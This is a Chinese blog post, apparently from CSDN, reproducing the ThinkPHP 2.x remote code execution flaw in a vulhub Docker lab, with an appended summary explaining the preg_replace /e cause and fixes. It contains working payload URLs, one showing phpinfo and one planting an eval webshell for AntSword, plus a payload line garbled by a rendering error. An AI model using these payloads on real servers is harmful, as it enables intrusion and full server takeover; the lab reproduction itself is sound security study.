ThinkPHP2-RCE漏洞复现

一、漏洞原理

ThinkPHP2-RCE漏洞的原理是代码执行漏洞。攻击者通过利用该漏洞,可以在服务器上执行任意PHP代码,从而控制服务器。

造成该漏洞的原因在于ThinkPHP 2.x版本中,某些函数没有对用户输入进行严格的过滤和验证,导致攻击者可以通过构造恶意输入来绕过安全防护,执行恶意代码。

举一个例子来说明这个漏洞的原理。假设你有一个ThinkPHP 2.x版本的的应用程序,其中有一个函数用于处理用户提交的数据。这个函数会接收用户的输入,并将其存储在一个缓存文件中,以供后续使用。然而,由于没有对用户输入进行适当的过滤和验证,攻击者可以构造一个包含恶意代码的输入数据,并将其提交给该函数。一旦该函数接收到这个恶意输入,就会将其存储在缓存文件中。当其他用户访问该应用程序时,这些恶意代码就会被执行,攻击者就可以控制整个服务器。

二、影响版本

ThinkPHP 2.x

三、漏洞复现(vulhub)

切换至相应目录,使用以下命令搭建靶场

docker-compose up –d

搭建完毕后,访问8080端口

poc1:访问phpinfo页面,拼接至url后面即可

?s=/index/index/name/$%7B@phpinfo()%7D

poc2:获取shell

?s=/index/index/L/KaTeX parse error: Expected '}', got 'EOF' at end of input:{@print(eval(_POST[1]))}

使用蚁剑进行连接,密码为1,记得更换IP

http://192.168.225.139:8080/?s=/index/index/L/${@print(eval($_POST[1]))}

成功连接,获取shell

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
ThinkPHP 2.x版本中存在远程代码执行(RCE漏洞。该漏洞可以通过构造恶意的请求来执行任意的PHP代码。具体来说,漏洞出现在ThinkPHP框架中的路由处理函数中,使用了不安全的preg_replace函数,并且使用了/e模式进行正则表达式匹配。攻击者可以通过在请求中注入恶意的代码来执行任意的PHP代码。这个漏洞ThinkPHP框架的Dispatcher类中的102行被触发。\[2\]\[3\] 为了修复这个漏洞,建议升级到最新版本的ThinkPHP框架,或者手动修复代码中的漏洞。具体修复方法包括使用更安全的正则表达式替代preg_replace函数,并且避免使用/e模式进行正则表达式匹配。此外,还应该对用户输入进行严格的过滤和验证,以防止恶意代码的注入。 #### 引用[.reference_title] - *1* [【漏洞复现】[ThinkPHP]2-Rce](https://blog.csdn.net/Mr_atopos/article/details/124907676)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [ThinkPHP2-RCE漏洞复现](https://blog.csdn.net/qq_51459600/article/details/125179451)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值